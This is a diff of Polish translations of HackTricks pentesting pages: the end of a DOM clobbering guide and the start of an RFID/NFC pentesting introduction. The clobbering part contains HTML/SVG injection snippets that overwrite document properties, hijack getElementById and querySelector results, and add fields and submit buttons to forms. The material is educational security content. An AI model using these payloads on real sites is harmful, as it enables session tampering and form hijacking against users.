> \- Wartość atrybutu name dla wszystkich [eksponowanych](https://html.spec.whatwg.org/multipage/dom.html#exposed) elementów [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) i [eksponowanych](https://html.spec.whatwg.org/multipage/dom.html#exposed) elementów [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element), które mają niepusty atrybut name i są [w drzewie dokumentu](https://dom.spec.whatwg.org/#in-a-document-tree) z dokumentem jako [korzeniem](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \- Wartość atrybutu treści name dla wszystkich [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) i [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elementów, które mają niepusty atrybut treści name i są [w drzewie dokumentu](https://dom.spec.whatwg.org/#in-a-document-tree) z dokumentem jako ich [korzeniem](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- Wartość atrybutu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) dla wszystkich [eksponowanych](https://html.spec.whatwg.org/multipage/dom.html#exposed) elementów [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element), które mają niepusty atrybut [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) i są [w drzewie dokumentu](https://dom.spec.whatwg.org/#in-a-document-tree) z dokumentem jako [korzeniem](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \- Wartość atrybutu treści [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) dla wszystkich [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elementów, które mają niepusty atrybut treści [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) i są [w drzewie dokumentu](https://dom.spec.whatwg.org/#in-a-document-tree) z dokumentem jako ich [korzeniem](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- Wartość atrybutu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) dla wszystkich elementów [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), które mają zarówno niepusty atrybut [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute), jak i niepusty atrybut name, i są [w drzewie dokumentu](https://dom.spec.whatwg.org/#in-a-document-tree) z dokumentem jako [korzeniem](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||
> \- Wartość atrybutu treści [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) dla wszystkich [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elementów, które mają zarówno niepusty atrybut treści [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute), jak i niepusty atrybut treści name, i są [w drzewie dokumentu](https://dom.spec.whatwg.org/#in-a-document-tree) z dokumentem jako ich [korzeniem](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||
|
||||
Za pomocą tej techniki można nadpisać powszechnie używane **wartości, takie jak `document.cookie`, `document.body`, `document.children`**, a nawet metody w interfejsie Document, takie jak `document.querySelector`.
|
||||
Korzystając z tej techniki, możesz nadpisać powszechnie używane **wartości takie jak `document.cookie`, `document.body`, `document.children`**, a nawet metody w interfejsie Document, takie jak `document.querySelector`.
|
||||
```javascript
|
||||
document.write("<img name=cookie />")
|
||||
|
||||
|
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
|
|||
typeof(document.cookie)
|
||||
'object
|
||||
```
|
||||
## Pisanie po zastąpieniu elementu
|
||||
## Pisanie po elemencie zniszczonym
|
||||
|
||||
Wyniki wywołań **`document.getElementById()`** i **`document.querySelector()`** mogą być zmienione poprzez wstrzyknięcie znacznika `<html>` lub `<body>` z identycznym atrybutem id. Oto jak to można zrobić:
|
||||
Wyniki wywołań **`document.getElementById()`** i **`document.querySelector()`** mogą być zmieniane przez wstrzyknięcie tagu `<html>` lub `<body>` z identycznym atrybutem id. Oto jak można to zrobić:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||||
<p>
|
||||
|
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
|||
alert(document.querySelector('.x').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
Ponadto, poprzez zastosowanie stylów do ukrycia wstrzykniętych tagów HTML/body, można zapobiec zakłóceniom spowodowanym przez inne teksty w `innerText`, co zwiększa skuteczność ataku:
|
||||
Ponadto, stosując style do ukrywania tych wstrzykniętych tagów HTML/body, można zapobiec zakłóceniom ze strony innego tekstu w `innerText`, co zwiększa skuteczność ataku:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">test</div>
|
||||
<p>existing text</p>
|
||||
|
@ -162,7 +165,7 @@ p{display:none;}
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
Badania nad SVG wykazały, że tag `<body>` może być również skutecznie wykorzystany:
|
||||
Badania nad SVG ujawniły, że tag `<body>` może być również skutecznie wykorzystywany:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">example.com</div>
|
||||
<svg><body id="cdnDomain">clobbered</body></svg>
|
||||
|
@ -170,7 +173,7 @@ Badania nad SVG wykazały, że tag `<body>` może być również skutecznie wyko
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
Aby tag HTML działał wewnątrz SVG w przeglądarkach takich jak Chrome i Firefox, konieczne jest użycie tagu `<foreignobject>`:
|
||||
Aby tag HTML działał w SVG w przeglądarkach takich jak Chrome i Firefox, konieczny jest tag `<foreignobject>`:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">example.com</div>
|
||||
<svg>
|
||||
|
@ -182,9 +185,9 @@ Aby tag HTML działał wewnątrz SVG w przeglądarkach takich jak Chrome i Firef
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
## Nadpisywanie formularzy
|
||||
## Clobbering Forms
|
||||
|
||||
Możliwe jest dodawanie **nowych wpisów do formularza** poprzez **określenie atrybutu `form`** wewnątrz niektórych tagów. Można to wykorzystać do **dodawania nowych wartości do formularza** oraz do dodawania nowego **przycisku** do **jego wysłania** (clickjacking lub nadużycie kodu JS `.click()`):
|
||||
Możliwe jest dodanie **nowych wpisów wewnątrz formularza** po prostu **określając atrybut `form`** wewnątrz niektórych tagów. Możesz to wykorzystać do **dodania nowych wartości wewnątrz formularza** oraz nawet do dodania nowego **przycisku** do **wysłania go** (clickjacking lub nadużywanie niektórego kodu JS `.click()`):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
@ -198,22 +201,25 @@ Click to send!
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* Aby uzyskać więcej atrybutów formularza, sprawdź [**to**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
* Aby uzyskać więcej atrybutów formularza w [**przycisku sprawdź to**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
|
||||
## Referencje
|
||||
## Odniesienia
|
||||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||
* Heyes, Gareth. JavaScript dla hakerów: Naucz się myśleć jak haker.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć **reklamę swojej firmy w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,79 +1,95 @@
|
|||
# Pentestowanie RFID
|
||||
# Pentesting RFID
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Wprowadzenie
|
||||
|
||||
**Radio Frequency Identification (RFID)** to najpopularniejsze rozwiązanie radiowe krótkiego zasięgu. Zazwyczaj służy do przechowywania i przesyłania informacji identyfikujących jednostkę.
|
||||
**Identyfikacja radiowa (RFID)** to najpopularniejsze rozwiązanie radiowe o krótkim zasięgu. Zwykle jest używane do przechowywania i przesyłania informacji, które identyfikują podmiot.
|
||||
|
||||
Etykieta RFID może polegać na **własnym źródle zasilania (aktywna)**, takim jak wbudowana bateria, lub otrzymywać zasilanie z anteny odczytującej za pomocą prądu **indukowanego przez otrzymane fale radiowe** (**pasywna**).
|
||||
Tag RFID może polegać na **własnym źródle zasilania (aktywnym)**, takim jak wbudowana bateria, lub otrzymywać zasilanie z anteny odczytującej, wykorzystując prąd **indukowany z odebranych fal radiowych** (**pasywny**).
|
||||
|
||||
### Klasy
|
||||
|
||||
EPCglobal dzieli etykiety RFID na sześć kategorii. Etykieta w każdej kategorii ma wszystkie możliwości wymienione w poprzedniej kategorii, co czyni ją wstecznie kompatybilną.
|
||||
EPCglobal dzieli tagi RFID na sześć kategorii. Tag w każdej kategorii ma wszystkie możliwości wymienione w poprzedniej kategorii, co czyni go wstecznie kompatybilnym.
|
||||
|
||||
* Etykiety **klasy 0** to etykiety **pasywne**, które działają w pasmach **UHF**. Producent **preprogramowuje** je w fabryce produkcyjnej. W rezultacie **nie można zmienić** informacji przechowywanych w ich pamięci.
|
||||
* Etykiety **klasy 1** mogą również działać w pasmach **HF**. Ponadto, można je **zapisać tylko raz** po produkcji. Wiele etykiet klasy 1 może również przetwarzać **cykliczne sumy kontrolne** (CRC) otrzymywanych poleceń. CRC to kilka dodatkowych bajtów na końcu poleceń służących do wykrywania błędów.
|
||||
* Etykiety **klasy 2** można **zapisywać wielokrotnie**.
|
||||
* Etykiety **klasy 3** mogą zawierać **wbudowane sensory**, które mogą rejestrować parametry środowiskowe, takie jak aktualna temperatura lub ruch etykiety. Te etykiety są **półpasywne**, ponieważ chociaż **posiadają** wbudowane źródło zasilania, takie jak zintegrowana **bateria**, **nie mogą inicjować** bezprzewodowej **komunikacji** z innymi etykietami lub czytnikami.
|
||||
* Etykiety **klasy 4** mogą inicjować komunikację z innymi etykietami tej samej klasy, co czyni je **aktywnymi etykietami**.
|
||||
* Etykiety **klasy 5** mogą dostarczać **zasilanie innym etykietom i komunikować się ze wszystkimi poprzednimi klasami etykiet**. Etykiety klasy 5 mogą działać jako **czytniki RFID**.
|
||||
* Tagi **Klasy 0** to **pasywne** tagi działające w pasmach **UHF**. Producent **wstępnie programuje** je w fabryce produkcyjnej. W rezultacie **nie można zmienić** informacji przechowywanych w ich pamięci.
|
||||
* Tagi **Klasy 1** mogą również działać w pasmach **HF**. Ponadto mogą być **zapisywane tylko raz** po produkcji. Wiele tagów Klasy 1 może również przetwarzać **cykliczne sumy kontrolne** (CRC) poleceń, które otrzymują. CRC to kilka dodatkowych bajtów na końcu poleceń do wykrywania błędów.
|
||||
* Tagi **Klasy 2** mogą być **zapisywane wielokrotnie**.
|
||||
* Tagi **Klasy 3** mogą zawierać **wbudowane czujniki**, które mogą rejestrować parametry środowiskowe, takie jak aktualna temperatura lub ruch tagu. Tagi te są **półpasywne**, ponieważ chociaż **mają** wbudowane źródło zasilania, takie jak zintegrowana **bateria**, **nie mogą inicjować** bezprzewodowej **komunikacji** z innymi tagami lub czytnikami.
|
||||
* Tagi **Klasy 4** mogą inicjować komunikację z innymi tagami tej samej klasy, co czyni je **tagami aktywnymi**.
|
||||
* Tagi **Klasy 5** mogą dostarczać **zasilanie innym tagom i komunikować się ze wszystkimi poprzednimi klasami tagów**. Tagi Klasy 5 mogą działać jako **czytniki RFID**.
|
||||
|
||||
### Informacje przechowywane w etykietach RFID
|
||||
### Informacje przechowywane w tagach RFID
|
||||
|
||||
Pamięć etykiety RFID zazwyczaj przechowuje cztery rodzaje danych: **dane identyfikacyjne**, które **identyfikują** jednostkę, do której przyczepiona jest etykieta (dane te obejmują pola zdefiniowane przez użytkownika, takie jak konta bankowe); **dane uzupełniające**, które dostarczają **dodatkowych** **informacji** dotyczących jednostki; **dane kontrolne**, używane do **konfiguracji** wewnętrznej etykiety; oraz **dane producenta** etykiety, które zawierają unikalny identyfikator etykiety (**UID**) oraz szczegóły dotyczące **produkcji**, **typu** i **producenta** etykiety. Pierwsze dwa rodzaje danych znajdują się we wszystkich komercyjnych etykietach; ostatnie dwa mogą się różnić w zależności od producenta etykiety.
|
||||
Pamięć tagu RFID zazwyczaj przechowuje cztery rodzaje danych: **dane identyfikacyjne**, które **identyfikują** **podmiot**, do którego tag jest przymocowany (dane te obejmują pola zdefiniowane przez użytkownika, takie jak konta bankowe); **dane uzupełniające**, które dostarczają **dalszych** **szczegółów** dotyczących podmiotu; **dane kontrolne**, używane do wewnętrznej **konfiguracji** tagu; oraz **dane producenta** tagu, które zawierają unikalny identyfikator tagu (**UID**) oraz szczegóły dotyczące **produkcji**, **typu** i **producenta** tagu. Pierwsze dwa rodzaje danych znajdziesz we wszystkich komercyjnych tagach; ostatnie dwa mogą się różnić w zależności od producenta tagu.
|
||||
|
||||
Standard ISO określa wartość identyfikatora rodziny aplikacji (**AFI**), kodu wskazującego **rodzaj obiektu**, do którego należy etykieta. Innym ważnym rejestratorem, również określonym przez ISO, jest identyfikator formatu przechowywania danych (**DSFID**), który definiuje **logiczną organizację danych użytkownika**.
|
||||
Standard ISO określa wartość identyfikatora rodziny aplikacji (**AFI**), kod, który wskazuje **rodzaj obiektu**, do którego tag należy. Innym ważnym rejestrem, również określonym przez ISO, jest identyfikator formatu przechowywania danych (**DSFID**), który definiuje **logiczne zorganizowanie danych użytkownika**.
|
||||
|
||||
Większość **kontroli bezpieczeństwa** RFID ma mechanizmy, które **ograniczają** operacje **odczytu** lub **zapisu** na każdym bloku pamięci użytkownika oraz na specjalnych rejestrach zawierających wartości AFI i DSFID. Te **mechanizmy blokady** używają danych przechowywanych w pamięci kontrolnej i mają **prekonfigurowane domyślne hasła** dostawcy, ale pozwalają właścicielom etykiety na **konfigurację niestandardowych haseł**.
|
||||
Większość **kontroli bezpieczeństwa RFID** ma mechanizmy, które **ograniczają** operacje **odczytu** lub **zapisu** na każdym bloku pamięci użytkownika oraz na specjalnych rejestrach zawierających wartości AFI i DSFID. Te **mechanizmy blokujące** wykorzystują dane przechowywane w pamięci kontrolnej i mają **domyślne hasła** wstępnie skonfigurowane przez producenta, ale pozwalają właścicielom tagów na **konfigurowanie niestandardowych haseł**.
|
||||
|
||||
### Porównanie tagów o niskiej i wysokiej częstotliwości
|
||||
### Porównanie tagów niskiej i wysokiej częstotliwości
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Tagi RFID o niskiej częstotliwości (125kHz)
|
||||
## Tagi RFID o niskiej częstotliwości (125 kHz)
|
||||
|
||||
**Tagi o niskiej częstotliwości** są często używane w systemach, które **nie wymagają wysokiego poziomu bezpieczeństwa**: dostęp do budynków, klucze do domofonów, karty członkowskie siłowni, itp. Ze względu na większy zasięg są wygodne w przypadku płatnego parkowania samochodów: kierowca nie musi przybliżać karty do czytnika, ponieważ jest ona aktywowana z większej odległości. Jednocześnie tagi o niskiej częstotliwości są bardzo prymitywne, mają niską szybkość transferu danych. Z tego powodu niemożliwe jest zaimplementowanie złożonego dwukierunkowego transferu danych, takiego jak utrzymanie salda i kryptografia. Tagi o niskiej częstotliwości przesyłają tylko swoje krótkie ID bez żadnych środków uwierzytelniania.
|
||||
**Tagi niskiej częstotliwości** są często używane w systemach, które **nie wymagają wysokiego bezpieczeństwa**: dostęp do budynków, klucze do domofonów, karty członkowskie na siłownię itp. Dzięki większemu zasięgowi są wygodne w użyciu do płatnych parkingów: kierowca nie musi zbliżać karty do czytnika, ponieważ jest aktywowana z większej odległości. Jednocześnie tagi niskiej częstotliwości są bardzo prymitywne, mają niski wskaźnik transferu danych. Z tego powodu niemożliwe jest wdrożenie złożonego dwukierunkowego transferu danych, na przykład do utrzymywania salda i kryptografii. Tagi niskiej częstotliwości przesyłają tylko swoje krótkie ID bez żadnych środków uwierzytelniających.
|
||||
|
||||
Te urządzenia polegają na technologii **pasywnej** **RFID** i działają w **zakresie od 30 kHz do 300 kHz**, chociaż zazwyczaj używa się 125 kHz do 134 kHz:
|
||||
Urządzenia te polegają na technologii **pasywnej** **RFID** i działają w **zakresie od 30 kHz do 300 kHz**, chociaż częściej używa się 125 kHz do 134 kHz:
|
||||
|
||||
* **Długi zasięg** — niższa częstotliwość przekłada się na większy zasięg. Istnieją niektóre czytniki EM-Marin i HID, które działają z odległości do jednego metra. Są one często stosowane w parkingu samochodowym.
|
||||
* **Protokół prymitywny** — ze względu na niską szybkość transferu danych te tagi mogą przesyłać tylko swoje krótkie ID. W większości przypadków dane nie są uwierzytelniane i nie są w żaden sposób chronione. Jak tylko karta znajduje się w zasięgu czytnika, zaczyna przesyłać swoje ID.
|
||||
* **Niskie bezpieczeństwo** — te karty można łatwo skopiować lub nawet odczytać z kieszeni innej osoby ze względu na prymitywność protokołu.
|
||||
* **Długi zasięg** — niższa częstotliwość przekłada się na większy zasięg. Istnieją czytniki EM-Marin i HID, które działają z odległości do jednego metra. Często są używane na parkingach.
|
||||
* **Prymitywny protokół** — z powodu niskiego wskaźnika transferu danych te tagi mogą przesyłać tylko swoje krótkie ID. W większości przypadków dane nie są uwierzytelniane i nie są w żaden sposób chronione. Gdy tylko karta znajdzie się w zasięgu czytnika, zaczyna po prostu przesyłać swoje ID.
|
||||
* **Niskie bezpieczeństwo** — te karty mogą być łatwo kopiowane, a nawet odczytywane z kieszeni kogoś innego z powodu prymitywności protokołu.
|
||||
|
||||
**Popularne protokoły 125 kHz:**
|
||||
|
||||
* **EM-Marin** — EM4100
|
||||
## Tagi RFID o wysokiej częstotliwości (13,56 MHz)
|
||||
* **EM-Marin** — EM4100, EM4102. Najpopularniejszy protokół w WNP. Może być odczytywany z odległości około metra z powodu swojej prostoty i stabilności.
|
||||
* **HID Prox II** — protokół niskiej częstotliwości wprowadzony przez HID Global. Protokół ten jest bardziej popularny w krajach zachodnich. Jest bardziej złożony, a karty i czytniki dla tego protokołu są stosunkowo drogie.
|
||||
* **Indala** — bardzo stary protokół niskiej częstotliwości, który został wprowadzony przez Motorolę, a później przejęty przez HID. Rzadziej można go spotkać w terenie w porównaniu do poprzednich dwóch, ponieważ wychodzi z użycia.
|
||||
|
||||
**Tagi o wysokiej częstotliwości** są używane do bardziej złożonej interakcji między czytnikiem a tagiem, gdy potrzebna jest kryptografia, duża dwukierunkowa transmisja danych, uwierzytelnianie itp.\
|
||||
Zazwyczaj są one stosowane w kartach bankowych, transporcie publicznym i innych bezpiecznych przepustkach.
|
||||
W rzeczywistości istnieje znacznie więcej protokołów niskiej częstotliwości. Ale wszystkie one używają tej samej modulacji na warstwie fizycznej i mogą być uważane, w ten czy inny sposób, za wariację tych wymienionych powyżej.
|
||||
|
||||
**Tagi o wysokiej częstotliwości 13,56 MHz to zestaw standardów i protokołów**. Zazwyczaj są one określane jako [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ale nie zawsze jest to poprawne. Podstawowy zestaw protokołów używanych na poziomie fizycznym i logicznym to ISO 14443. Protokoły na wyższym poziomie, a także alternatywne standardy (takie jak ISO 19092), są oparte na nim. Wielu ludzi odnosi się do tej technologii jako **komunikacji w polu zbliżeniowym (NFC)**, terminu używanego dla urządzeń działających w częstotliwości 13,56 MHz.
|
||||
### Atak
|
||||
|
||||
Możesz **zaatakować te tagi za pomocą Flipper Zero**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
|
||||
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Tagi RFID o wysokiej częstotliwości (13.56 MHz)
|
||||
|
||||
**Tagi wysokiej częstotliwości** są używane do bardziej złożonej interakcji między czytnikiem a tagiem, gdy potrzebna jest kryptografia, duży dwukierunkowy transfer danych, uwierzytelnianie itp.\
|
||||
Zwykle występują w kartach bankowych, transporcie publicznym i innych zabezpieczonych przepustkach.
|
||||
|
||||
**Tagi wysokiej częstotliwości 13.56 MHz to zestaw standardów i protokołów**. Zwykle określa się je jako [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ale to nie zawsze jest poprawne. Podstawowy zestaw protokołów używanych na poziomie fizycznym i logicznym to ISO 14443. Protokóły na wyższym poziomie, a także alternatywne standardy (takie jak ISO 19092), opierają się na nim. Wiele osób odnosi się do tej technologii jako **komunikacji bliskiego zasięgu (NFC)**, terminu dla urządzeń działających na częstotliwości 13.56 MHz.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
W skrócie, architektura NFC działa w ten sposób: protokół transmisji jest wybierany przez firmę produkującą karty i implementowany na podstawie niskopoziomowego ISO 14443. Na przykład, NXP wynalazł własny protokół transmisji na wyższym poziomie, zwany Mifare. Ale na niższym poziomie karty Mifare są oparte na standardzie ISO 14443-A.
|
||||
Mówiąc prosto, architektura NFC działa w ten sposób: protokół transmisji jest wybierany przez firmę produkującą karty i wdrażany na podstawie niskopoziomowego ISO 14443. Na przykład, NXP wynalazł własny protokół transmisji na wyższym poziomie o nazwie Mifare. Ale na niższym poziomie karty Mifare opierają się na standardzie ISO 14443-A.
|
||||
|
||||
Flipper może współpracować zarówno z protokołem ISO 14443 na niskim poziomie, jak i z protokołem transmisji danych Mifare Ultralight i EMV używanym w kartach bankowych. Pracujemy nad dodaniem obsługi dla Mifare Classic i NFC NDEF. Dokładne omówienie protokołów i standardów, które tworzą NFC, warto przeczytać w osobnym artykule, który planujemy opublikować wkrótce.
|
||||
Flipper może współdziałać zarówno z niskopoziomowym protokołem ISO 14443, jak i protokołem transferu danych Mifare Ultralight oraz EMV używanym w kartach bankowych. Pracujemy nad dodaniem wsparcia dla Mifare Classic i NFC NDEF. Dokładne spojrzenie na protokoły i standardy, które tworzą NFC, zasługuje na osobny artykuł, który planujemy opublikować później.
|
||||
|
||||
Wszystkie karty o wysokiej częstotliwości oparte na standardzie ISO 14443-A mają unikalny identyfikator chipa. Działa on jako numer seryjny karty, podobnie jak adres MAC karty sieciowej. **Zazwyczaj UID ma długość 4 lub 7 bajtów**, ale czasami może sięgać **aż do 10**. UID nie jest tajemnicą i jest łatwo odczytywalny, **czasami nawet wydrukowany na samej karcie**.
|
||||
Wszystkie karty wysokiej częstotliwości oparte na standardzie ISO 14443-A mają unikalny identyfikator chipu. Działa on jako numer seryjny karty, jak adres MAC karty sieciowej. **Zwykle UID ma długość 4 lub 7 bajtów**, ale rzadko może wynosić **do 10**. UID nie jest tajemnicą i jest łatwo odczytywalny, **czasami nawet wydrukowany na samej karcie**.
|
||||
|
||||
Istnieje wiele systemów kontroli dostępu, które polegają na UID do **uwierzytelniania i przyznawania dostępu**. Czasami dzieje się tak **nawet** w przypadku, gdy tagi RFID **obsługują kryptografię**. Takie **niewłaściwe** wykorzystanie obniża je do poziomu **kart 125 kHz** pod względem **bezpieczeństwa**. Wirtualne karty (takie jak Apple Pay) używają dynamicznego UID, aby właściciele telefonów nie otwierali drzwi za pomocą aplikacji płatniczej.
|
||||
Istnieje wiele systemów kontroli dostępu, które polegają na UID, aby **uwierzytelnić i przyznać dostęp**. Czasami dzieje się to **nawet** wtedy, gdy tagi RFID **obsługują kryptografię**. Takie **niewłaściwe użycie** obniża je do poziomu głupich **kart 125 kHz** pod względem **bezpieczeństwa**. Wirtualne karty (takie jak Apple Pay) używają dynamicznego UID, aby właściciele telefonów nie mogli otwierać drzwi za pomocą swojej aplikacji płatniczej.
|
||||
|
||||
* **Krótki zasięg** - karty o wysokiej częstotliwości są specjalnie zaprojektowane tak, aby musiały być umieszczone blisko czytnika. Pomaga to również chronić kartę przed nieautoryzowanymi interakcjami. Maksymalny zasięg odczytu, który udało nam się osiągnąć, wynosił około 15 cm, a to dzięki specjalnie wykonanym czytnikom o dużym zasięgu.
|
||||
* **Zaawansowane protokoły** - prędkości transferu danych do 424 kbps umożliwiają złożone protokoły z pełną dwukierunkową transmisją danych. Co z kolei **umożliwia kryptografię**, transfer danych itp.
|
||||
